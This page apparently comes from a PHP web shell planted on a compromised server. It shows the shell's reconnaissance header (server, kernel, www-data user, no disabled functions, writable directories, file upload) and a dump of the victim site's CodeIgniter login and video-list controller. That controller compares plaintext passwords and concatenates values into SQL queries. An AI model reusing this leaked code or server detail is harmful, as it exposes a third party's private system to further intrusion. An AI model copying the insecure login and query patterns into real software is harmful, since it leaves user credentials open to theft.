KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/parasoffline.edukrypt.in/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/parasoffline.edukrypt.in/application/controllers/User.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class User extends MY_Controller {

	
    
    public function login()
	{
                $this->load->view('temp/header');
                $this->load->view('temp/login_view');
		$this->load->view('temp/footer');
	}

	public function savelogin()
	{
		$userid = $this->input->post('userid');
		$password = $this->input->post('password');
		
		$this->db->select('*');
		$this->db->where('id',$userid);
		$this->db->where('password',$password);
		$this->db->where('registered','1');
		$query = $this->db->get('users');
		
		//print_r($query->num_rows());exit;
		if($query->num_rows()>0)
		{
			$result = $query->row();
			$data = array(
					'id' =>$result->id,
					'admin_id' =>$result->admin_id,
					'username' =>$result->username,
					'email' =>$result->email,
					'registration_code' =>$result->registration_code,
					'logged_in'=>true
				);

			$this->session->set_userdata($data);
			redirect('user/video');
		}else{
			$this->session->set_flashdata('msg','<div class="alert alert-danger">Invalid Credintials</div>');
			redirect('user/login');
		}
	}

	public function video()
	{
		if(empty($_SESSION['id']))
		{
			redirect('user/login');
		}

		$_new_arr = array();
		// print_r($_SESSION);exit;
		$admin_id = $_SESSION['admin_id'];
		$id = $_SESSION['id'];
		// SELECT d.id,l.file_name,l.drobbox_video_id,d.name,d.size,d.path_lower FROM `regfiles` as r INNER JOIN lectures as l on l.id = r.lecture_id INNER JOIN dropbox_album as d on d.id = l.drobbox_video_id WHERE r.user_id = '.$id.' and l.admin_id ='.$admin_id.' AND l.e_type = "video"
		 $date = date('Y-m-d');
		$query = $this->db->query('SELECT l.file_name,l.drobbox_video_id FROM `regfiles` as r INNER JOIN lectures as l on l.id = r.lecture_id  WHERE r.user_id = '.$id.' and l.admin_id ='.$admin_id.' AND l.e_type = "video" AND DATE(r.str_dt) <="'.$date.'" AND DATE(r.end_dt) >="'.$date.'"');
		//print_r($this->db->last_query());exit;
		if($query->num_rows()>0)
		{
			$dropbox_albums= $query->result();
			foreach($dropbox_albums as $dropbox_album)
			{
				$this->db->select('filename as name,etag as id,path as path_lower,size');
		        $this->db->where('path',$dropbox_album->drobbox_video_id);
		        $query1 = $this->db->get('s3bucket');
		        if($query1->num_rows()>0)
		        {
		            $result1 = $query1->result();
		           	$new_arr = array(
		           			'file_name'=>$dropbox_album->file_name,
		           			'id'=>$result1[0]->id,
		           			'path_lower'=>$result1[0]->path_lower,
		           			'size'=>$result1[0]->size,
		           			'name'=>$result1[0]->name,
		           			// 'file_name'=>$dropbox_album->file_name,
		           	);

		           	array_push($_new_arr,$new_arr);
		        }

			}
			
			// echo "<pre>";print_r($_new_arr);exit;
		}
		$data['dropbox_albums'] = $_new_arr;
		$data['p_type'] = 'list';
		$this->load->view('videolist',$data);
	}

	public function logout()
	{
		session_destroy();
		redirect('user/login');

	}
}

Anon7 - 2021